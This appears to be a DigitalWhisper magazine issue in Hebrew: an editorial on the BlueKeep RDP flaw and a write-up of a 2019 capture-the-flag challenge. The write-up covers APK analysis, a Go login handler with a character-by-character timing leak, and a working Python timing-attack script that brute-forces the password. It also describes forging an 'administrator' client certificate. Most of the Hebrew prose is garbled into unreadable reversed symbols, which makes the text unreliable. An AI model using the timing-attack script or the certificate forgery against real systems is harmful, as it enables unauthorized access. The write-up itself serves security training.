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 ˫˧˩˶ˣ˰ˢ ˶˟ˡ 

 

˸˲ˢ ˧˶˟ˡ˪ ˫˧˞˟ˢ ˫˧˩ˣ˶˟ˢ ˭ˣ˧˪ˠˢ ˪˷ ˢ˥˧-107  ˪˷DigitalWhisper ! 

,˥˞  ˢˤ˧˞˷ˡˣ˥ˢ ˣˮ˪˟˧˵ ˵˸ˬˬ˥˪ ˠˣˮ˰˸ ˦ˣ˷˲ ...˧ ,˨CVE-2019-0708 )˞˩,˭ ˩˭˞ x˞˩(˭ , ˸˶ˣ˩ˤ˸˲ˮ˞˪ s

 ˪˷"˪ ˪ˤ˞ˤ˰˪ ˢˬ˞˫˧˶˧˞˷ˬ ˫˸ ˧˵˷ˬˬ ˦ˮ˶˦ˮ˧˞ˢ ˧˲˪˩ ˫˧˥ˣ˸˲ ˪ˣˢ˧ˮ?"  ˫ˮˬˣ˞ ˞˴˧ ˞˪ ˡˣ˰ ˧˪ ˸ˣ˞˶˪

˷ˣˬ˧ˬ ˧˟ˬˣ˲ ˡ˥˪ ˢ˴˵˪ ˢ˴˵ˬ ˞˪ˬ-˸˲˧ˢ ˭˶˵ˢ˧ˢ ˪˟˞ ,ˣˤˢ ˢ˲˧˷ ˥˧ˮˬ ˧ˮ˞˪˷ ˭˧˧ˮ˰ ˵˶ ˢˤ  ˭ˬˤ˰l 

˷ˡ˥˞˟ ˷ˣˠ˲ˮ .ˢˤ˩˷ 

 ˢ˟˶ˢ˟˵ˬ ˸ˣˬˣ˷ ˧˸˧˞˶ ˦ˮ˶˦ˮ˧˞˟˷ ˧˞˪˦ˢ ˸˞ ˭˧˵˸ˢ˪ ˫˧˴˧˪ˬˬ-Microsoft ˢ˶˶˥˷ , ˶˷˲˞˪NLA 

˰ ˫˧˷˪ˣ ˡˣˢˬ˩ ˫˧˶˦˯˪˲, ˢˤ ˸˞ ˸ˣ˷˰˪ ˨˧˶˴˷ ˶ˣ˶˟ˣ˶ˢˬ ˶˸ˣ˧˷ ˢˬ˩ˣ , . ˪˟˞ ˧˞˪˦ ˫ˣ˷ ˢ˥˷˵ˢ ˫ˣ˷ˣ

 ˞˪ˣ˧ˢ˧ ˪˧˰˧˫˧  ˸ˬ˞˟ˡˣ˰ ˪˩  ˫˸ˣ˞˦ˮ˧˞˪ ˫˧˶˟ˣ˥ˬ ˸ˣ˧ˢ˪ ˣ˩˧˷ˬ˧ ˢ˪˞ˢ ˪ˣˢ˧ˮˢ ˧˵˷ˬˬ˦ˮ˶ ) ˞˵ˣˣˡ ˣ˞˪ˣ

RDP( . ˫˞ ˢˤˢ ˟˟˯˟ ˫˸ˣ˞ ˣ˲˵˸ ˞˪-  ˫ˢ ˢ˞˶ˮˢ ˪˩˩˞˟ˢ ˟˟˯˟ ˣ˲˵˸˧. ˟ ˵ˣ˧ˡ˞ ˫˸ˣ˞ ˪˩ ˣˬ˩˧ ˫˧ˮˣˠ˶

ˣ˲˦˥˷  ˪˷ ˟˟˯˟WannaCry. 

 ˣ˵˧˯˲˸˫˩˪˷ ˸ˣ˸˷˶ˢ ˫˰ ˶ˬˢ˪! 

 

,ˣˢˤˣ ,ˢˤ ˸˞ ˧˸˞˴ˣˢ˷ ˧˶˥˞ ˞˭˩ˣ˸˪ ˸˷ˠ˪ ˶˷˲ ˪˩ˢ-˷ˡˣ˥ˢ ˫˩˪˧˟˷˟ ˣˮ˲˯˞˷ ˧˸ˣ˩˧˞ ˨˩ , ,˭˟ˣˬ˩ ˨˞

 ˭˩ ˧ˮ˲˪- ˢ˴˶ˮ ˪ ˸ˣˡˣˢ˪˫˧˟˸ˣ˩ˢ ˪˩ ˪˰ ˭ˬˤˢ ˢ˰˵˷ˢˢˣ  ˫ˢ˪˷˷ˡˣ˥ˢ .ˢˡˣ˸ ˪.˷˞) .Supermann( ,

 ˢˡˣ˸˪˞.ʕ ˢˡˣ˸ ,˪˟ˢ˧ˮ˪ ˢˡˣ˸ ,-Dvd848˪ ˢˡˣ˸ ,-YaakovCohen88˪ ˢˡˣ˸ ,ˡ˰˪ˠ ˶ˠˮ˧ˤ , ˢˡˣ˸

˪ˡˣ˶ˬ˧ˮ ˧ˣ˪  ˢˡˣ˸ˣ˪˶ˬˣ˸ ˸˧ˤ! 

 

      ,ˢˬ˧˰ˮ ˢ˞˧˶˵ 

˶ˡ˞ ˶˧ˮˣ ˪˞˧˦˯˵ ˵˧˲˞  

https://wazehell.io/2019/05/22/cve-2019-0708-technical-analysis-rdp-rce/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/
https://www.thezdi.com/blog/2019/5/27/cve-2019-0708-a-comprehensive-analysis-of-a-remote-desktop-services-vulnerability
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 ˭ˣ˶˸˲ˢ ˶ˠ˸˞ ˯ˣ˧ˠˢ ˪˷ˡ˯ˣˬ - 2019 

) .˷.˞ ˸˞ˬSupermann.ˤ.˞ˣ ( 

 

ˢˬˡ˵ˢ 

ˢ ˨˧˶˞˸˟ ,˭ˣ˶˥˞ˢ ˸ˣ˞ˬ˴˰ˢ ˫ˣ˧˟-08/05/2019 ˪˷ "˸˧˰˴˟ˬˢ ˶˟˧˧˯ˢ ˰ˣ˶ˤ" ˢ˶˶˥˧˷ ,ˢˮ˷ ˧ˡ˧ˬ˩ ,

ˮ˞ ˶ˣ˸˧˞ˣ ˯ˣ˧ˠ ˸˶˦ˬ˪ ,ˠˮ˧˵˞ˢ ˶ˠ˸˞ ˧˪˞˶˷˧ˢ ˡ˯ˣˬˢ ˣ˧ˡ˥˧ ˶ˠ˸˞ˢ ˸˞ ˣˮ˶˸˲ .ˣ˧˸ˣ˶ˣ˷˪ ˫˧˷ˡ˥ ˫˧˷

 ˣˮ˞˷ ˸ˣˮˣ˶˸˲ˢˣ ˣˮ˪˷ ˢ˟˧˷˥ˢ ˧˩˶ˡ ˸˞ ˱˵˷˪ ˸ˮˬ ˪˰ ˢˤ ˶ˬ˞ˬ ˟ˣ˸˩˪ ˣˮ˦˪˥ˢ ˣ˸ˣ˞ ˣˮˬ˧˧˯˷ ˶˥˞˪ˣ

.˶˸ˣ˧˟ ˫˧ˮˢˬˢˣ ˫˧˟ˣ˦ˢ ˣ˧ˢ˷ ˣˮ˟˷˥ 

 ˪˧˩ˢ ˶ˠ˸˞ˢ3 .˫˧ˮˣ˷ ˫˧˞˷ˣˮ ˪˷ ˟˶ ˶˲˯ˬ˟ ˸ˣ˧˸˶˧˴˧ˣ ˢˮ˟ˢ ,˰ˡ˧ ˷˶ˡˮ ˢ˧ˢ ˟˪˷ ˪˩˟ ˶˷˞˩ ,˫˧˟˪˷ 

˷˟ ˫˧˪˩˭ˣ˶˸˧˲˟ ˷ˣˬ˧ 

¶ ˡ˧˞ˣ˶ˡˮ˞ ˶ˣ˦˪ˣˬ˧˞ 

¶ ˟ ˣˮ˷ˬ˸˷ˢ ˣˮ˥ˮ˞) ˧ˢ˷˪˩ ˢ˲ˮ˯ˢ ˸ˮ˩ˣ˸-Wireshark( 

¶  ˟˷˥ˬWindows ˣˢ˷˪˩ 

¶ s-Disassembler ˟ ˣˮ˷ˬ˸˷ˢ ˣˮ˥ˮ˞) ˫˩˧˪˰ ˟ˣˢ˞ˢ-IDA( 

¶  ˸ˮ˩ˣ˸Hex Editor ˢ˟ˣˢ˞ 

¶ ˭ˣ˸˧˧˲ 
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 ˟˪˷0 

 ˸ˣ˞ˬ˴˰ˢ ˫ˣ˧˟ ˣ˵˪ˣ˥˷ ˫˧ˮˣ˸˧˰˟ ˭ˢˣ ˡ˯ˣˬˢ ˶˸˞˟ ˭ˢ ,˸˶ˣ˯ˬˢ ˟˦˧ˬ˩- ˬ˸ˢ ˢˬ˯˶ˣ˲ ˸˞ ˢ˸˧ˣˣˢ˷ ˢˮˣ

˸˟ˣ˸˩ˢˬ ˢ˥˵˪ˮ ˢˮˣˬ˸ˢ ,˶˸˞ˢ ˫ˡ˵" :4.it-ready-u-https://r "˞˧ˢˣ :ˢ˞˟ˢ ˢˮˣˬ˸ˢ ˸˞ ˢ˪˧˩ˬ 

 

˪ ˫˧˵˪ˣ˥ˬ ˢˮˣˬ˸ˢ ˤ˩˶ˬ˟ ˫˧˪ˬ˯ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ-4  ˢ˶ˣ˷ ˪˩˟ ˶˷˞ ˸ˣ˶ˣ˷8  ˢ˶ˣ˷ ˪˩ ˧˩ ˣˮ˥ˮˢ .˫˧˪ˬ˯

 ˪˷ ˸˧˟ ˸˪ˬ˯ˬIP ˷˞˩ ˫˧˧ˣ˯ˬ.˧ˣ˟˩ ˦˧˟ ˸˪ˬ˯ˬ ˢ˧ˣ˟˩ˣ ˵˪ˣˡ ˦˧˟ ˸˪ˬ˯ˬ ˸˵˪ˣˡ ˢ˶ˣˮˬ ˶ 

:ˢ˞˟ˢ ˸˟ˣ˸˩ˢ ˸˞ ˣˮ˪˟˧˵ ,˶˴˵ ˟ˣ˷˧˥ ˶˥˞˪ 

http://35.246.158.51 

!˶ˠ˸˞ˢ ˸˞ ˪˧˥˸ˢ˪ ˶˷˲˞ ˣ˧˷˩˰ ˧˩ ˢ˞˶ˮ 

  

https://r-u-ready-4.it/
http://35.246.158.51/
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 ˟˪˷1 

 

ˢ ˪˰ ˣˮ˴˥˪-Link  ˣˮˡ˶ˣˢˣAPK. ˪˰ ˪˩˸˯ˢ˪ ˢ˧ˢ ˣˮ˧˷˰˷ ˭ˣ˷˞˶ˢ ˶˟ˡˢ s-APK  ˸˶ˤ˰˟7Zip ˪˩ ,APK  ˞ˣˢ

 ˳˟ˣ˵ ˫˴˰˟ZIP Archive  ˳˟ˣ˵ ˢ˧ˢ ˣ˪˧˞˩ ˣ˧˪˰ ˪˩˸˯ˢ˪ˣ ˥ˣ˸˲˪ ˭˸˧ˮ˷ZIP ˧˦˶ˡˮ˦˯: 

 

ˢ ˭˩ˣ˸ ˪˰ ˢ˶˴˵ ˸ˣ˪˩˸˯ˢ ˶˥˞˪-APK  ˣˮ˧ˢ˧ˤ ˞˪˷ ˫˧˧˶˞ˮ˧˟ ˫˧˴˟˵ ˧ˮ˧ˬ ˪˩ ˪˧˩ˬ ˞ˣˢ ˧˩ ˣˮ˟ˢ

 ˣ˪˞ ˢ˷˰ˬ˪ ˧˩ ˣˮ˧˪˧ˠ ˪ˠˣˠ˟ ˫˧˶˴˵ ˫˧˷ˣ˲˧˥ ˶˥˞˪ ˨˞ ˸ˣ˪˧ˠ˶ ˸ˣ˧˴˵˧˪˲˞ˬ ˢ˧˶˲˯˟ ˫˧˧˦˶ˡˮ˦˯ ˫˧˴˟˵

 ˸˞˶˵ˮˢFlutter .˪ˠˣˠ ˧ˡ˧ ˪˰ ˢ˥˸ˣ˲ ˶˷˞ 
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 ˸˞ ˣˮˡ˶ˣˢ ˭˩˪ ,ˢ˧˴˵˧˪˲˞ˢ ˸˞ ˳˧˶ˢ˪ ˦ˣ˷˲ ˞ˣˢ ˞˟ˢ ˧ˮˣ˧ˠˢˢ ˶˟ˡˢ˷ ˣˮ˦˪˥ˢAndroid Studio  ˧ˡ˩˟

:˞˟ˢ ˨˯ˬˢ ˸˞ ˣˮ˧˞˶ˣ ˶ˣ˦˪ˣˬ˧˞˟ ˢ˧˴˵˧˪˲˞ˢ ˸˞ ˣˮ˴˶ˢ .ˣ˪˷ ˶ˣ˦˪ˣˬ˧˞˟ ˷ˬ˸˷ˢ˪ 

 

˫˰ ˢ˧˴˵˧˪˲˞ ˣˮ˧ˮ˲˟ ˸ˡˬˣ˰ ˧˩ ˢ˞˶ˮ  ˨˯ˬLogin  ˸˷˵˟ˬ ˢ˧˴˵˧˪˲˞ˢ ˶˷˞˩ ,ˣˢ˷˪˩Seed  .˞ˬ˯˧˯ˣ

ˢ ˭˴˥˪ ˪˰ ˫˧˴˥ˣ˪ˣ ˫˧˦˶˲ˢ ˸˞ ˫˷ ˢ˧˴˵˧˪˲˞˪ ˫˧˯˧ˮ˩ˬ ˶˷˞˩-"Login ˸˧˸˥˸˟ ˞˟ˢ ˦˯˵˦ˢ ˰˧˲ˣˬ "

:˨˯ˬˢ 
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 ˪˷) ˸˧ˮ˞˧˪ˣ˟ ˢ˞˴ˣ˸ ˢ˶˧ˤ˥ˬˣ ˞ˬ˯˧˯ˢˣ ˷ˬ˸˷ˬˢ ˫˷ ˪˰ ˟ˣ˷˧˥ ˞ˣˢ˷ ˢˤ˧˞ ˢ˷ˣ˰ ˢ˧˴˵˧˪˲˞ˢ ˧˩ ˢ˞˶ˮ

˷˧˥ˢ ˭ˬˤ ˸˞ˣ (˶˵˷ ˣ˞ ˸ˬ˞.˰˴˟˪ ˢ˪ ˥˵˪˷ ˟ˣ 

 ˪˪˩ ˨˶ˡ˟ ˨˞ ,˸˥˵˪ ˣˮ˪ˣ˩˧˷ ˢ˶˧˟˯ ˢ˥ˮˢ ˞˧ˢ ˢ˩ˣ˸˟ ˟ˣ˷˧˥ˢ ˪˩ ˸˞ ˢ˷ˣ˰ ˢ˧˴˵˧˪˲˞ˢ˷ ˢ˥ˮˢˢ

 ˫˧˦˶˲˪ ˫˞˸ˢ˟ ˢ˞˴ˣ˸ ˶˧ˤ˥ˬ ˶˷˞ ˧ˤ˩˶ˬ ˸˶˷˪ ˫˧ˡ˪˵ˣˬˢ ˫˧˦˶˲ˢ ˸˞ ˥ˣ˪˷˪ ˫˧ˠˢˣˮ ˫˧˯˲˦

.ˣ˥˪˷ˮ˷ 

˧˥ ˶˥˞˪ ,˶ˣ˦˪ˣˬ˧˞ˢ ˪˰ ˢ˶ˣ˟˰˸ˢ ˸˞ ˱˧ˮ˯ˢ˪ ˞ˣˢ ˸ˣ˷˰˪ ˣˮ˦˪˥ˢ˷ ˞˟ˢ ˶˟ˡˢ ,˭˩˪ ,˪ˠˣˠ˟ ˶˴˵ ˷ˣ˲

 ˶˧˷˩ˬˢ ˪˰ ˸˶ˣ˷˵˸ˢ ˸˞ ˱˧ˮ˯ˢ˪ ˧ˡ˩˟ ˶ˣ˦˪ˣˬ˧˞ˢ ˪˷ ˢˡˣ˵˲ˢ ˸˶ˣ˷ˬ ˢ˴˶ˢ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ˷ ˣˮ˞˴ˬ

:ˢ˞˟ˢ ˢˡˣ˵˲ˢ ˸˶ˤ˰˟ ˣ˪ˣ˩ 

emulator  - tcpdump emulator.cap - avd my_avd  

ˢ ˶ˣ˸˲˩ ˪˰ ˣˮ˴˥˪ ,˶˧˷˩ˬˢ ˪˰ ˣˮ˲ˮ˯ˢ˷ ˶˥˞˪-Login ˸˷˵˟ ˞˧˴ˣˬ ˶˧˷˩ˬˢ˷ ˣˮ˧˞˶ ,Get ˟-HTTP 

ˬ ˸˶˷˪˟ ˢ˶ˤ˥ ˨˶˰ ˣˮˬˬ ˪˟˵ˬ ,˫˧ˣ˯-Json  ˫˧˩˶˰ ˢ˪˧˩ˬˢ ˸˲˯ˣˮ ˢ˷˵˟ ˫˰ ˸˶˷ ˣ˸ˣ˞˪ ˢˮˣ˲ ˤ˞ˣ

:˭˞˩ ˸˶ˣ˷˵˸ˢ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ .ˢˮˣ˷˞˶ˢ ˢ˷˵˟ˢˬ 

 

˪ ˢ˷˵˟ ˸˞˴ˣ˧˷ ˢ˞˶ˮ: 

http://35.246.158.51:8070/auth/getUrl 

˶˥˞˪ˣ ˪ ˭˩ˬ: 

http://35.246.158.51:8070/auth/v2 

" ˪˷ ˨˶˰ ˶˧ˤ˥ˬ ˸˶˷ˢ˷ ˪˪ˠ˟˷ ˣˮ˥ˮˢ ,˦˰ˬ ˣˮ˰˵˸ˮ ˢˤˢ ˟˪˷˟Time ˞˶˵ˮ˷ ˢˬ ˭˞˩ ˞ˣ˴ˬ˪ ˪˩ˣˮ "

" ˸˧˰ˣ˴˵ˬˢ ˢˠ˰˟Time Based Attack.˫ˣ˪˩ ˣˮ˞˴ˬ ˞˪ ˪˟˞ " 

ˢ ,˫˧˥˪˴ˣˬ ˞˪ ˫˧ˮˣˣ˧˩ ˭ˣ˧˯˧ˮ ˪˷ ˭ˬˤ ˦˰ˬ ˶˥˞˪ ˪˷ ˶ˣ˵ˬˢ ˡˣ˵ ˸˞ ˷˲˥˪ ˪˩ˣˮ ˧˪ˣ˞ ,ˢ˵˶˟ˢ ˣˮ˪ ˢ˸˧˧

 ˶˸˞ˢ ˞˪ ˫˞ ˸ˣ˶˧˷ˢ ˪˷ ˶ˣ˵ˬˢ ˡˣ˵ ˸˞˧˴ˬ˪ ˶˸ˣ˧ ˟ˣ˦ ˫ˣ˵ˬ ˢˤ˧˞ˣ ,˸ˣ˶˧˷ˢGithub? 

http://35.246.158.51:8070/auth/getUrl
http://35.246.158.51:8070/auth/v2
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ˢˬ ˫˧˩˶˰ˢ ˶˲˯ˬ ˪˷ ˷ˣ˲˧˥ ˶˥˞˪-Json " ˣˬ˩ ˶ˤˣ˥˷LockUrlˣ "-"IsValid˪ ˰˧ˠˢ˪ ˣˮ˥˪˴ˢ "-Repository 

 :˞˟ˢ ˵ˮ˧˪˟app/server-locksmithers-https://github.com/iwalk .˥˧˦˟ˬ ˢ˞˶ˮ ˢ˧ˢ˷  ˫˧˧˵ ,ˣ˩ˣ˸˟

 ˫˷˟ ˡ˥˞ ˳˟ˣ˵main.go ˢ ˡˣ˵ ˸˞ ˵ˣ˧ˡ˟ ˪˧˩ˬ˷ ˢ˞˶ˮ ˶˷˞-API !˫˧˶˟ˡˬ ˣˮ˥ˮ˞ ˣ˪ˣˬ 

˟ ˫˧˧˵˷ ˣˮ˧˞˶ ,ˡˣ˵ˢ ˪˰ ˢˤ˧˶ˤ ˸ˣ˪˩˸˯ˢ ˶˥˞˪-API  ˪˷ ˢˮ˷˧ ˞˯˶ˠ ˪˷ ˵˷ˬˬ ˡˣ˰.˸˩˶˰ˬˢ  ˢˡ˧˪

:˸ˣ˞˟ˢ ˸ˣ˶˰ˢˢ ˸ˣ˰˧˲ˣˬ 

 

ˢ ˪˷ ˭˷˧ˢ ˵˷ˬˬˢ ˸˞ ˸˷ˬˬˬ ˶˷˞ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˞˪ˬˢ ˡˣ˵ˢ ˭˞˩ ˱˶ˣ˴ˬ-API: 

func v1Auth ( w http . ResponseWriter ,  r * http . Request )  {  

    userAgent :=  r . Header . Get ( "User - Agent" )  

    if  userAgent !=  "ed9ae2c0 - 9b15 - 4556 - a393 - 23d500675d 4b"  {  

        returnServerError ( w,  r )  

        return  

    }  

 

    start :=  time . Now()  

 

    decoder :=  json . NewDecoder ( r . Body)  

    var loginData LoginData  

    err :=  decoder . Decode (& loginData )  

    if  err !=  nil  {  

        ret :=  getResponseToken ( start ,  false ,  "" )  

        returnToken ( w,  ret )  

        return  

    }  

 

    for  _,  lock :=  range getLocks ()  {  

        if  loginData . Seed !=  lock . Seed {  

            continue  

        }  

 

        currentIndex :=  0 

        for  currentIndex < len ( lock . Password )  && currentIndex < 

l en( loginData . Password )  {  

            if  lock . Password [ currentIndex ]  !=  loginData . Password [ currentIndex ]  {  

                break  

            }  

            //OG: securing against bruteforce attempts... ; - )  

            time . Sleep ( 30 *  time . Millisecond )  

            currentIndex ++ 

        }  

 

        if  currentIndex == len ( lock . Password )  {  

            ret :=  getResponseToken ( start ,  true ,  lock . Value )  

            returnToken ( w,  ret )  

            return  

        }  

    }  

 

    ret :=  getResponseToken ( start ,  false ,  "" )  

    returnToken ( w,  ret )  

}  

https://github.com/iwalk-locksmithers-app/server
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 ˸ˣˮˣ˧˯˧ˮ ˫˰ ˸ˣ˷˵˟ ˭ˣˬˢ ˥ˣ˪˷˪ ˭˸˧ˮ ˢ˟ ˢ˲˵˸ˬˬ ˭ˠˢ˪ ˧ˡ˩˷ ˸ˣ˞˶˪ ˭˸˧ˮ ,ˡˣ˵ˢ ˪˰ ˢ˶˧ˢˬ ˸ˣ˪˩˸˯ˢ˟

 ˯ˮ˩ˣˬ ,˞ˬ˯˧˯˪ ˫˧ˮˣ˷Sleep ˢ ˧˩ ˢ˞˶ˮ ˸ˮ˩˸ˬˢ ˪˷ ˣ˶˰˴˪ .˸˞ˤ ˰ˣˮˬ˪ ˧ˡ˩ ˡˣ˵˟-Sleep  ˶˷˞˩ ˵˶ ˢ˶ˣ˵

˵˯ ˟ˣ˸˩˪ ˫˧˪ˣ˩˧ ˣˮ˞ ˰ˬ˷ˬ ,˞ˬ˯˧˯ˢ ˪˷ ˭ˣ˩ˮ ˣ˸ ˫˧˯˧ˮ˩ˬ:˞˟ˢ ˸ˣ˪ˣ˰˲ˢ ˱˴˶ ˸˞ ˢ˷ˣ˰˷ ˦˲˧˶ 

1. ˢ˯ˮˬ ˥ˣ˪˷˪ ˞ˬ˯˧˯ ˣ˸ˢ˷ ˭ˣ˷˞˶ˢ ˢ˪˷ ˞ˣˢ "0" 

2. ˵ˡˣ˟ ˫˞ˢ ˭ˬˤˢ ˶ˤ˥ˣˢ˷ ˪ˣˡˠ ˟-30 ˸ˣ˧ˮ˷˧˪˧ˬ ˰˴ˣˬˬˬ ˫˧ˮˬˤˢ ˫ˡˣ˵ˢ 

a. ˫˞ ˭˩ ,˱˧˯ˣˬ ˸˞ ˣ˸ˢ ˠˮ˧˶˦˯˪ ˪˷ ˞ˬ˯˧˯ˢ ˢ˞˪ˬˢ 

b. ˫˞ ˞˪ ,˨˧˷ˬˬ ˣ˸˪ ˞˟ˢ ")1" ,"2" ,"a", "A "ˣ˩ˣ(' 

ˢ ,˱˯ˣˮ˟-User-Agent ˢ˪ ˨˧˶˴ ˣˮ˪˷.˧˲˧˴˲˯ ˨˶˰ ˪˰˟ ˸ˣ˧ " ˶ˣ˴˧˪ ˭˸˧ˮ ,˫˴˰˟ ˨˩Bruteforce ˫˩˥ "

.ˢ˧˴˵˧˪˲˞˪ ˯ˮ˩˧ˢ˪ ˧ˡ˩˟ ˞ˬ˯˧˯ˢ ˸˞ ˣˮ˪ ˞˧˟ˬ˷ :ˢˤ ˸˞ ˢ˷ˣ˰˷ ˭ˣ˸˧˧˲ ˦˲˧˶˵˯ ˣˮ˟˸˩ 

calculate_pass.py: 

import  json  

import  urllib2  

import  string  

 

def  request ( data ):  

    req = 

urllib2 . Request ( "http://3d3750323 74147a7865753e4bbc92682.xyz:8070/auth/v1_1" )  

    req . add_header ( "content - type" ,  'application/json; charset=utf - 8' )  

    req . add_header ( "user - agent" ,  'ed9ae2c0 - 9b15 - 4556 - a393 - 23d500675d4b' )  

    req . add_header ( "accept - encoding" ,  "gzip" )  

    res = urllib2 . urlo pen ( req ,  json . dumps( data ))  

    return  res  

 

def  calc_pass ():  

    current_pass = ''  

    old_time = 0 

    user_id = "24c847254b9341219d5644d10af01f1f"  

    while  len ( current_pass )  < 32:  

        for  letter in  string . printable :  

            r = request ({ "Seed" :  user_id ,  "Password" :  

"{}" . format ( current_pass +letter )})  

            time = json . loads ( r . read ())[ 'Time' ]  

            print  letter ,  time  

            if  time -  old_time > 27000000 :  

                # winning letter  

                current_pass += letter  

                old_time = time  

                print  '{} -  winning letter is: {}' . format ( len ( current_pass ),  

letter )  

                break  

 

    print  "password is: " ,  current_pass  

    print  request ({ "Seed" :  user_id ,  "Password" :  current_pass }). read ()  

 

if  __name__ == '__main__' :  

    calc_pass ()  

:˦˲˧˶˵˯ˢ ˸˴˶ˢ ˪˷ ˢ˞˴ˣ˸ˢ ˣˤ ,˸ˣ˞˶˪ ˶˷˲˞˷ ˧˲˩ˣ 
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:˭˞˩˪ ˶˷˧ˢ ˣˮ˸ˣ˞ ˪˧˟ˣ˸ ˵ˮ˧˪ˢ ˪˰ ˢ˴˧˥˪ 

 

(: !˭ˣ˷˞˶ˢ ˶ˠ˸˞ˢ ˸˞ ˣˮˬ˧˧˯˷ ˢ˞˶ˮ  
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 ˟˪˷2 

 

) ˨˩ ˨˶˰˟ ˢ˞˶ˮ˷ ˶ˤˣˬ ˶˸˞˪ ˫˧˯ˮ˩ˮ ˣˮ˞ ,˵ˮ˧˪ˢ ˪˰ ˢ˴˧˥˪ ˶˥˞˪https://missilesys.com:( 

 

ˢ ˪˰ ˢ˶˴˵ ˸ˣ˪˩˸˯ˢ ˶˥˞˪-Source  ˢ˰˧ˠˬ ˢˮˣˬ˸ˢ˷ ˡ˟˪ˬ ˭˧˧ˮ˰ˬ ˧ˡ˧ˬ ˶˸ˣ˧ ˣˢ˷ˬ ˣˮ˧˞˶ ˞˪ ˶˸˞ˢ ˪˷

-ˬdomain-sub  ˞˶˵ˮ˷ ˶˸˞ˢ ˪˷https://dev.missilesys.com ˧˩ ˢ˞˶ˮ ˢˤˢ ˭˧˧ˬˣˡˢ ˸˸˪ ˢ˯˧ˮ˩ ˶˥˞˪ ,

ˣˮ˥ˮ˞ " ˟˸˩ˮ ˣ˷˞˶˟˷ ˶ˤˣˬ ˯˲ˣ˦ ˞ˣˢ˷ ˢˤ˧˞˪ ˫˧˰˧ˠˬYou are not welcome hereΧ but you can be"!. 

  

http://missilesys.com/
https://dev.missilesys.com/
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 ˯˲ˣ˦ˢ˞ˬ˯˧˯ˣ ˷ˬ˸˷ˬ ˫˷ ˯˧ˮ˩ˢ˪ ˣˮ˪ ˭˸ˣˮ: 

 

 ˞ˬ˯˧˯ˢˣ ˷ˬ˸˷ˬ ˫˷ ˸˯ˮ˩ˢ ˶˥˞˪Supermann:123 ˶ˣ˸˲˩ ˫˰ ˱˯ˣˮ ˶˸˞˪ ˫˧˪˟ˣˬ ˣˮ˞ ,Download: 

 

 ˫˧˪˟˵ˬ ˭˩˞ ˣˮ˥ˮ˞ ˢˡ˶ˣˢˢ ˶˥˞˪Certificate x˪ ˢ˶ˤ˥ ˢ˯˧ˮ˩˟ ,ˣ˪˷ ˢˮ˵˸ˢˢ ˶˥˞˪: 

https://missilesys.com 

:˞˟ˢ ˵˷ˬˬ˟ ˫˧˪˵˸ˮ ˣˮ˥ˮ˞ 

 

ˢ ˶ˣ˸˲˩ ˪˰ ˢ˴˧˥˪ ˶˥˞˪ˣ-Settings :ˢ˞˟ˢ ˢ˰ˡˣˢˢ ˸˞ ˫˧˪˟˵ˬ ˣˮ˞ ˢ˪˰ˬ˪ ˭˧ˬ˧ ˡ˴˟ 

 

https://missilesys.com/
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ˢ ˸˞ ˣˮ˶˴˧˷ ˟˪ ˣˬ˧˷-Certificate  ˫˷ˢ ˫˰Supermann ˢ˧ˮˢ ˵˷ˬˬ˟ˣ" ˣˮ˪ ˰˧˲ˣˬ ˢˤˢ ˪ˣWelcome to 

Missile System Supermann."  ˶ˣ˴˧ˮ ˫˞˷ ˥˧ˮˢ˪ ˫˧˪ˣ˩˧ ˣˮ˞ ,˰ˬ˷ˬCertificate  ˫˷ ˪˰˟administrator 

 ˡˣˬ˰ ˣ˸ˣ˞˪ ˯ˮ˩˧ˢ˪ ˪˩ˣˮ (˸ˣˮ˦˵ ˸ˣ˧˸ˣ˞˟ ˪˩ˢ)settings  ˧˲˩ ˫˧˪˧˦ˢ ˸˩˶˰ˬ ˸˞ ˪˦˟˪ ˧˪ˣ˞ˣ ˧˶ˣ˸˯ˬ

 ˣˮ˸˧˞ˬ ˷˵˧˟˷M .˟˪˷ˢ ˸˪˧˥˸˟ 

˯˧ˮ˷ ˭ˣ˷˞˶ˢ ˶˟ˡˢ ˭˟ˣˬ˩ ˶ˣ˴˧˪ ˢ˧ˢ ˣˮ˧certificate " ˷ˬ˸˷ˬˢ ˫˷ ˫˰administrator ˵˷ˬˬ ˸ˣ˰˴ˬ˞˟ "

:ˢ˞˟ˢ ˢ˰ˡˣˢ˟ ˣˮ˪˵˸ˮ ˨˞ ,˥˸˲ˬˢ 

 

 ˧ˮ˷ ˪˧˩ˬ ˯˲ˣ˦ˢ˷ ˞˧ˢ ˭ˣ˶˸˧˲˪ ˸˲˯ˣˮ ˢ˟ˣ˷˥ ˢˡˣ˵ˮhidden inputs ˞ˣˢ ˡ˥˞ˢ ,privatekey  ˞ˣˢ ˧ˮ˷ˢˣ

csr: 

 

˸˪ ˪ˣ˪˴˪ ˣˮ˦˪˥ˢ ,˫˧˧˷˲˧˦ ˸˧˯˥˧ ˸ˣˮˣ˧˯˧ˮ ˢˬ˩ ˡˣ˰ ˶˥˞˪ ˨˧˞ˣ ˸ˣ˷˰˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˢˬ ˭˧˟ˢ˪ ˧ˡ˩ ˢ˧˶ˣ˞˧

 ˶˴˧˧˪ ˸˞ˤ ˪˩˟ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞Certificate ˫ˣ˸˥ ˢ ˶˷˞-Common Name  ˞ˣˢ ˣ˟ ˭˧ˣ˴ˬˢadministrator. 

 ˭ˣ˶˧˸˲ˢ ˪˰ ˟˩˰˸ˢ˪ ˣˮ˦˪˥ˢ ,˫˧˷ˮ˞ˢ ˟ˣ˶˪ ˶˸ˣ˧˟ ˶ˠ˸˞ˬˢ ˢ˧ˢ ˶ˠ˸˞˟ ˢˤ ˟˪˷˷ ˫˧˰ˡˣ˧ ˣˮ˞˷ ˭ˣˣ˧˩ˬ

ˢ ˸˟˧˸˩˟ ˣ˪˷-Writeup .ˢˤˢ 

ˬ ˪˧˥˸ˮ:˫˧˟ˣ˷˥ ˫˧˥ˮˣˬ 

1. CA - )x˞ Common Authority (˧ˢˣˤ ˸ˣ˷˧ ˟-Chain Of Trust ˶˷˞ ˢ˪ˣ˩˧ ˫ˣ˸˥˪ ˪˰ ˸ˣ˷˵˟ ˸˶ˤ˰˟ 

